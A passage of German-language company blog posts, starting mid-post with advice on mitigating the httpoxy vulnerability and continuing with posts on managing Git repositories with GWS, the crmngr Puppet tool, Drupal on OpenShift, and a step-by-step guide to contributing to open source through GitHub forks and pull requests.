Manchmal werden Applikationen von Drittanbieter mit alten und somit verwundbaren Bibliotheken oder unsicheren Konfigurationen ausgeliefert. Auch hier ist es wichtig, eine Schadensminderung umzusetzen.
Die httpoxy-Webseite hat eine Anzahl von Konfigurationsbeispielen veröffentlicht, mit denen Proxy-Kopfzeilen in diversen HTTP-Servern und verwandten Programmen entfernt werden können. Ebenso bietet die Webseite Beispiele für Applikations- und Bibliotheksentwickler.

Schlussfolgerung

Wir empfehlen, HTTP-Server und sog. Reverse-Proxies so zu konfigurieren, dass sie sämtliche Proxy-Kopfzeilen zu entfernen. Es schadet dabei nicht, dies auch mehrfach im Verlauf einer HTTP-Anfrage zu tun.
Die Sicherheitslücke ist jetzt öffentlich und es ist nur eine Frage der Zeit, bis diese für automatisierte und gezielte Angriffe ausgenutzt wird.
Auch wenn eine Webseite oder Applikation heute nicht anfällig ist–und schon das ist schwierig abzuklären–so wird sie es vielleicht in der Zukunft. Nicht alle Projekte halten ihre Abhängigkeiten von Drittanbietern aktuell.

Ein Git Repository zu pflegen ist keine Hexerei. Ein Git Repository mit Referenzen zu anderen Repositories kann jedoch sehr schnell komplex werden. Git bringt dafür einige Hilfsmittel mit, z.B. Git Submodule oder Git Subtree. Beide Techniken sind relativ komplex und bringen ihre Vor- und vorallem Nachteile mit.

Wir pflegen unsere Puppet Hiera Daten in YAML Dateien, welche in Git Repositories versionisiert werden. Hiera besteht in seiner einfachsten Anwendung aus einem einzelnen Verzeichnisbaum, welcher die Hierarchie abbildet. Unsere Anforderung ist, dass diese Hierarchiestufen in unterschiedlichen Git Repositories liegen.
Hierfür verwendeten wir zu Beginn Git Submodule, sind dabei aber auf einige Probleme gestossen. Das grösste Problem ist, dass ein Git Submodule immer auf einen bestimmen Git Commit referenziert. Möchte man immer auf den aktuellsten Commit referenzieren, muss man jedesmal die Referenz im Hauptrepository anpassen. Dies ist nicht praktikabel für unseren Anwendungsfall, da wir immer die aktuellsten Commits verwenden möchten.
Wechselt man in ein Unterverzeichnis, welches ein Git Submodule ist, hat man die Möglichkeit, mit den bekannten Git Befehlen zu arbeiten. So wäre es möglich, in diesem Unterverzeichnis mit einem git checkout master den Master Branch auf dem aktuellsten Commit auszuchecken. Dies passt jedoch die Referenz im Hauptrepository nicht an. Klont nun jemand das Hauptrepository vom Git Server, erhält er immer den Verweis auf den Commit im Submodul, welcher referenziert ist.
Auf der Suche nach einer Lösung, Referenzen zu mehreren Repositories in einem Hauptrepository pflegen zu können, sind wir auf ein Tool namens GWS – Git Workspace gestossen.
Was ist GWS (Git Workspace)?
gws is a KISS, bash, colorful helper to manage workspaces composed of git repositories.
Wie die Einführung des Autors von GWS bereits erklärt, handelt es sich bei GWS um ein einfaches Bash Skript, welches Referenzen zu Git Repositories in einer einfachen Textdatei speichert und einige Hilfsmittel anbietet, um mit diesen Referenzen zu arbeiten. Das Interessante daran ist, dass das Bash Skript ohne Abhängigkeiten (ausser Git und Bash) auskommt und auch direkt, zusammen mit der Textdatei, mit den Referenzen gespeichert werden kann.
Wie arbeite ich mit GWS?
Als erstes lädt man sich das Bash Skript vom GitHub Projekt herunter: StreakyCobra/gws. Anschliessend wird eine Textdatei mit dem Namen .projects.gws angelegt, welche die Referenzen zu den gewünschten Repositories beinhaltet:

# Puppet modules
stdlib    | https://github.com/puppetlabs/puppetlabs-stdlib.git
apache    | https://github.com/puppetlabs/puppetlabs-apache.git
apt       | https://github.com/puppetlabs/puppetlabs-apt.git

Hinweis: Zeilen, welche mit # beginnen gelten als Kommentare.
Als nächstes initialisiert man die Repositories mit gws update:
Nun wurden alle referenzierten Git Repositories in die angegebenen Unterverzeichnisse geklont. Diese Unterverzeichnisse sind unabhängige Git Repositories und man kann mit diesen arbeiten wie mit ganz normalen Git Repositories.
Tipp: Das Verzeichnis, welches die Datei .projects.gws (und ggf. das GWS Skript selber) beinhaltet, kann auch in einem Git Repository gepflegt werden. Man sollte jedoch darauf achten, eine saubere .gitignore Datei zu erstellen. Beispiel:

# Ignore everything, so all repositories in our case
*
# But not these files
!.projects.gws
!.gitignore
!gws
!README.md

Weitere Tricks mit GWS
Der oben beschriebene Einstieg in GWS ist erst der Anfang. Das Tool bietet noch einige weitere coole Features.
Schnelles Initialisieren
Hat man bereits viele verschiedene Git Repositories in einem Verzeichnis, hilft gws init, ein Inventar aller Git Repositories in den Unterverzeichnissen zu erstellen und diese in der Datei .projects.gws zu erfassen.

Status
Mittels gws status sieht man auf den ersten Blick, ob alle Repositories auf dem neuesten Stand sind, ob Änderungen nicht committed wurden, etc.

Update aller Repositories
Möchte man z.B. alle referenzierten Repositories auf den neuesten Stand bringen, kann man dies einfach mit gws ff machen. Dies macht in allen Repositories einen git pull. Oder mit gws fetch wird in allen Repositories ein git fetch durchgeführt.

Heute hat Amazee Labs, einer unserer langjährigen Referenzkunden, Managed Drupal-Hosting lanciert.
Wir sind besonders stolz darauf, dass Amazee Group auch für den Betrieb der neuen Plattform – amazee.io – VSHN als Engineering- und Betriebspartner ausgesucht hat. (mehr …)

Wir von VSHN wollen unsere Kunden bei einem sauberen Lifecycle Management ihrer Software unterstützen. Dafür stellen wir ihnen mit Hilfe von Puppet mehrere Umgebungen zur Verfügung. Dies kann mit einer Testmaschine für die Entwickler beginnen, (mehr …)

Unser Weihnachtsgeschenk an die Open Source Community: Wir veröffentlichen unser Tool “crmngr” (Control Repository Manager) auf Github unter der BSD-3-Clause Lizenz: https://github.com/vshn/crmngr.

Dieses Tool hilft uns, die vielen Puppet Environments zu verwalten, welche bei uns durch r10k gesteuert werden. Es bietet zwei Hauptfunktionen: Reporting und Updates.
Mit der Report-Funktion bekommen wir einen Überblick darüber, welche Puppetmodule in welcher Version in welchem Puppet-Environment verwendet werden. Ausserdem wird auf den ersten Blick ersichtlich, ob ein Puppetmodul veraltet ist und eine neuere Version zur Verfügung steht – sei das auf Puppet Forge oder zum Beispiel in einem Git Repository.
Die Update-Funktion erlaubt es, Module in Puppet-Environments auf einen neueren Stand zu bringen, ein neues Modul hinzuzufügen oder ein Modul zu entfernen. Des Weiteren ist es möglich, über mehrere Environments hinweg Module zu aktualisieren oder andere Veränderungen vorzunehmen.
Im Kern arbeitet “crmngr” direkt mit dem r10k Control Git Repository. Es analysiert die Branches und die Puppetfiles innerhalb der Branches des Git Repositorys. Es ist keine manuelle Interaktion mit dem Repository mehr notwendig, “crmngr” kümmert sich um alles (git pull, git commit, git push, etc).
Slides vom Puppet Meetup in Zürich, welche „crmngr“ vorstellen, sind auf Speakerdeck zu finden. Die Dokumentation zur Installation und Verwendung des Tools ist im READMEabgelegt.
Wir freuen uns über jedes Feedback und jede Contribution zu „crmngr“.

Backups sind vielfach ein essentieller Bestandteil von Computersystemen. Sie dürfen nicht vernachlässigt werden. Da unsere Server und die der Kunden mit Puppet aufgesetzt und konfiguriert sind,
(mehr …)

Letzten Donnerstag wurde nach mehreren Jahren Entwicklung die PHP Plattform Drupal 8 freigegeben. Dies nahmen wir zum Anlass, zusammen mit OpenShift Origin ein Experiment zu machen: Was braucht es, um mit einfachsten Mitteln Drupal 8 auf OpenShift Origin zum Laufen zu kriegen?

oc new-app php~https://github.com/tobru/drupal-openshift.git#openshift mysql --group=php+mysql -e MYSQL_USER=drupal -e MYSQL_PASSWORD=drupalPW -e MYSQL_DATABASE=drupal

Was ist Open-Source Software?
Open-Source Software verbinden viele mit Software, die für alle möglichen Zwecke heruntergeladen und gratis benutzt werden kann. Open-Source Software ist jedoch viel mehr als das. Für mich steht vor allem der transparente und gemeinschaftliche Ansatz der Softwareentwicklung im Zentrum. Es geht darum, als Community gemeinsam Probleme zu lösen und vom gegenseitigen Know-how zu profitieren. Das Ergebnis wird dann unter einer freien Lizenz der Allgemeinheit zur Verfügung gestellt. Daran geknüpft ist immer die Hoffnung, dass die Nutzer eines solchen Softwareprojekts sich auch aktiv an diesem beteiligen. Gerade in meinem beruflichen Umfeld rund um DevOps, System- und Netzwerkadministration, gibt es viele Leute, die täglich mit Open-Source Software arbeiten. Sie passen die Software für Ihre Zwecke an, korrigieren kleinere oder grössere Unzulänglichkeiten oder erweitern deren Funktionsumfang mit interessanten Features. Leider finden diese lokalen Änderungen aber nicht immer ihren Weg zurück zu den ursprünglichen Autoren.
Wieso fliessen lokale Anpassungen nicht zurück zu den entsprechenden Projekten?
Ich sehe für das Problem vor allem folgende Ursachen:

• Mein Code ist für das Projekt nicht von Interesse. In der Regel schreibt man ja eigenen Code weil man damit ein Problem lösen will. Dass ich wirklich der Einzige mit dem Problem bin ist dann doch eher unwahrscheinlich. Natürlich kann es sein, das meine Änderungen nicht den Anforderungen oder dem abgesteckten Funktionsumfang eines Projekts entsprechen. Ich habe jedoch bisher nicht erlebt, dass Änderungen komplett abgelehnt werden. Dass mal die eine oder andere Anpassung gefordert wird, ist hingegen durchaus üblich und hilft in der Regel, die Qualität des eigenen Codes zu verbessern.
• Mein Code ist nicht gut genug. Oft gehört, auch bei uns in der Firma. Der Code entspricht nicht den eigenen Anforderungen an Qualität, Stil etc. Man will sich damit nicht blamieren. Es gibt natürlich Code, der im Rahmen von Projekten entsteht, der nicht über alle Zweifel erhaben ist. In der Regel ist der Zeitaufwand, den Code auf ein akzeptables Niveau zu bringen jedoch überschaubar und in Hinblick auf die Wartbarkeit der Software auch gut investierte Zeit.
• Mir fehlt die Zeit. Meist eine Ausrede; oft zumindest nicht zu Ende gedacht. Früher oder später muss ich meinen lokalen Code aktualisieren, meist dann, wenn im ursprünglichen Projekt neue Funktionen hinzukommen oder mehr oder weniger kritische Fehler beseitigt wurden. Wenn ich mir von Anfang an die Zeit nehme, meinen Code zurückzuführen, wird dieser automatisch von der Community mitgepflegt. Ich spare also unter dem Strich Zeit.
• Ich weiss nicht so recht wie das mit Git, GitHub, Issues und Pull Requests funktioniert. Viele Projekte setzen mittlerweile auf GitHub als zentrale Entwicklungs- und Kollaborationsplattform. Daher müssen wir uns zwangsweise mit den Abläufen vertraut machen, wenn wir uns in die Entwicklung einbringen möchten. Dazu möchte ich im weiteren Verlauf dieses Blogposts ein kurze Einführung geben.

How do I GitHub?
GitHub ist eine webbasierte Softwareentwicklungs- und Kollaborationsplatform, die von vielen Open-Source Projekten als zentrale Anlaufstelle für Nutzer und Entwickler eingesetzt wird. Die Platform unterstützt bei:

• Verteilung der Software; Basis hierzu ist das Versionskontrollsystem Git.
• Verwaltung von Feature Requests und Bug Reports
• Soziale Netzwerk-Komponenten wie das Folgen von Projekten.

GitHub setzt auch ganz gezielt auf möglichst einfache Kollaboration.
Issues
Wenn man ein Fehlverhalten (Bug Report) der Software festgestellt hat oder sich eine neue Funktion (Feature Request) wünscht, bietet es sich an, dafür ein Issue zu eröffnen. Vor allem wenn man noch keine Lösung bereit hat. Bei Bug Reports ist es immer wichtig, möglichst viele Informationen zum Nachvollzug des Fehlverhaltens zur Verfügung zu stellen. Dazu gehört die Version der eingesetzten Komponenten, welche Aktionen zum Fehlverhalten führten (Shell Kommandos, Screenshots / Screencasts, Schritt-für-Schritt Anleitungen) sowie Auszüge von relevanten Logdateien. Oft wird erwartet, dass das Fehlverhalten mit der aktuellsten Version der Software getestet wird.
Forks / Pull-Requests
Möchte man einen Schritt weitergehen und selber Code, Dokumentation oder allfällige Übersetzungen beisteuern, macht man sich eine lokale Kopie des entsprechenden Projekts. In der GitHub-Terminologie ist dies ein Fork und den erstellt man mit einem Klick auf die entsprechende Schaltfläche oben rechts. Diese Kopie ist ein vollwertiges Git Repository, auf dem wir uneingeschränkt arbeiten können. Es empfiehlt sich, den master branch nicht für die aktive Entwicklung zu benutzen, sondern für die einzelnen Features und Bugfixes eigene Branches zu erstellen. Dies erleichtert später das Nachführen von Änderungen des Upstream-Repositories, also des Projekts, von dem wir ursprünglich den Fork gezogen haben. Auf unserem Feature oder Bugfix Branch können wir nun entwickeln, und sobald wir mit dem Ergebnis oder dem Fortschritt zufrieden sind, ein sogenannten Pull-Request erstellen. Damit bitten wir sozusagen die Autoren des Upstream-Repositories unsere Änderungen einzupflegen.
Ein GitHub Workflow-Beispiel
Ich habe ein interessantes Projekt auf GitHub entdeckt: https://github.com/vshn/tikapy-icinga, gemäss Beschreibung eine Sammlung von Nagios/Icinga Plug-ins zur Überwachung von Mikrotik-Geräten. Mein Wunsch: Ich möchte die Anzahl der aktuell verbundenen WLAN Clients auslesen. Leider fehlt das Plugin mit entsprechender Funktionalität, sodass ich mich entscheide, dieses selber beizusteuern. Ich mache also einen Fork des Projekts.
Nach einem Klick auf die entsprechende Schaltfläche und ein paar Sekunden Geduld habe ich nun meine Kopie des Projekts. Davon ziehe ich nun lokal eine Kopie.

$ git clone git@github.com:andrekeller/tikapy-icinga.git

Zusätzlich erstelle ich einen Feature Branch für meine geplanten Änderungen.

$ cd tikapy-icinga
$ git checkout -b feature_wlan_clients
Switched to a new branch 'feature_wlan_clients'

Als nächstes schreibe ich den entsprechenden Code in die Datei check_tikapy_wlan_clients.py. Sobald ich damit fertig bin, checke ich die Änderungen ein (Git Commit) und pushe diese auf mein Repository (Git Push):

$ git add check_tikapy_wlan_clients.py
$ git commit -m 'Add new script to check clients connected to a specific WLAN.' check_tikapy_wlan_clients.py
$ git push origin feature_wlan_clients

Wenn es sich um eine grössere Änderung handelt, ist es normal, dass sich hier der eine oder andere Commit ansammelt. Sobald man das Gefühl hat, die Änderung ist soweit, dass man dafür einen Pull-Request öffnen kann, empfiehlt es sich, den Branch zu rebasen. Upstream-Projekte sehen es oft nicht gerne, wenn zusammengehörende Änderungen auf mehrere Commits verteilt sind, da alle Commits beim Akzeptieren des Merge-Requests in das Upstream-Projekt übertragen werden und die History entsprechend unübersichtlich machen können.
Also schauen wir rasch in das Git Log bevor wir den Pull-Request erstellen:

$ git log --pretty=oneline --abbrev-commit
2c10f7b Fix bug about foobar...
1750568 Add some more functionality...
ff7d064 Add new script to check clients connected to a specific WLAN.
665a71e Support lookup by name instead of ip.
30c7787 Package release 0.1.1.
...

In diesem Fall gehören die obersten drei Commits zu unserer Änderung, daher rebasen wir diese in einen einzigen Commit:

$ git rebase -i 665a71e

Dies öffnet einen Editor:

Den ersten Commit übernehmen wir, möchten dazu aber noch einen ausführlichere Commit Message schreiben. Dazu markieren wir den Commit mit reword. Die beiden anderen beiden Commits integrieren wir in den ersten, die Commit Messages brauchen wir nicht. Wir markieren die beiden Commits also mit fixup:

Sobald wir die Datei speichern und den Editor schliessen, öffnet sich der Editor erneut und gibt uns die Möglichkeit, die Commit Message anzupassen:

Danach schauen wir nochmals in das Commit Log.

$ git log --pretty=oneline --abbrev-commit
7aed10a Feature: Add new script to check clients connected to a specific WLAN.
665a71e Support lookup by name instead of ip.
30c7787 Package release 0.1.1.

Hat geklappt, wir haben nun einen einzigen Commit. Da wir die History unseres Branches damit geändert haben, müssen wir nun einen Force Push machen. Force Pushs sollten nur auf einem Feature Branch gemacht werden, niemals auf dem Master!

$ git push -f origin feature_wlan_clients

Der nächste Schritt ist nun, ein Pull-Request zu erstellen. Dafür gehen wir zurück zu unserem Fork auf GitHub.

Wie auf dem Screenshot zu sehen ist, hat GitHub gemerkt, dass wir eine Änderung auf einen Branch gepusht haben und bietet uns sogleich an einen Pull-Request zu erstellen:

GitHub übernimmt hier automatisch die Message aus dem Commit. Wir können den Request also unverändert mit einem Klick auf Create Pull Request absetzen. Nun heisst es warten, bis die Autoren des Upstream Projekts reagieren. Das kann mitunter ein paar Tage dauern. Leider kommt es auch vor, dass Projekte einfach aufgegeben werden und gar keine Antwort zurückkommt. Erkennen kann man das auch daran, dass bereits diverse unbearbeitete Pull-Requests für das Projekt vorhanden sind. Es lohnt sich also, vorher rasch zu prüfen, wie es um ein Projekt steht.
Weiter kommt es natürlich vor, dass man einen entsprechenden Kommentar erhält, mit der Bitte, noch kleinere oder grössere Anpassungen zu machen. In dem Fall machen wir die Änderungen in unserem Branch, committen, rebasen und pushen diese. Der Pull-Request wird bei jedem Push auf den Branch automatisch aktualisiert. Im Idealfall wird dann die Änderung nach der einen oder anderen Iteration gemerged: Das heisst, die Commits werden in das Upstream-Repository eingepflegt und der Pull-Request wird damit automatisch geschlossen. Wir kriegen eine entsprechende Benachrichtigung und wenn wir uns den geschlossenen Pull-Request noch einmal anschauen, sehen wir:

Das bedeutet, unsere Änderungen sind nun Teil vom Upstream Projekt. Yay!
Haben wir Lust auf das nächste Feature, aktualisieren wir unseren Fork und legen für das nächste Feature einen Branch an. Den alten Feature Branch brauchen wir nicht mehr, es bietet sich also an, diesen zu entfernen.

# zurückwechseln zu master branch
$ git checkout master

# upstream änderungen abholen (URL vom Upstream Projekt, nicht unserem Fork!)
$ git remote add upstream git@github.com:vshn/tikapy-icinga.git
$ git fetch upstream
# upstream änderungen einpflegen
$ git rebase -p upstream/master

# lokalen wlan clients feature branch löschen
$ git branch -d feature_wlan_clients
# remote wlan clients feature branch löschen
$ git push origin :feature_wlan_clients

# neuen feature branch erstellen
$ git checkout -b feature_new_feature

Forks in denen keine offenen Pull-Requests oder andere lokale Änderungen pendent sind, sollte man via GitHub-Webseite löschen. Damit trägt man zu mehr Übersicht, zum Beispiel in den Suchergebnissen, bei. Will man später noch weitere Änderungen vornehmen, kann man jederzeit einen neuen Fork ziehen.
Fazit
Wenn man sich initial ein bisschen Zeit nimmt und sich mit Git und GitHub etwas auseinandersetzt, sind die Hürden, an einem Open-Source Projekt mitzuarbeiten, schnell überwunden. Somit steht einem nichts mehr im Weg, die eigenen Ideen zu verwirklichen und mit der Open-Source Community zu teilen.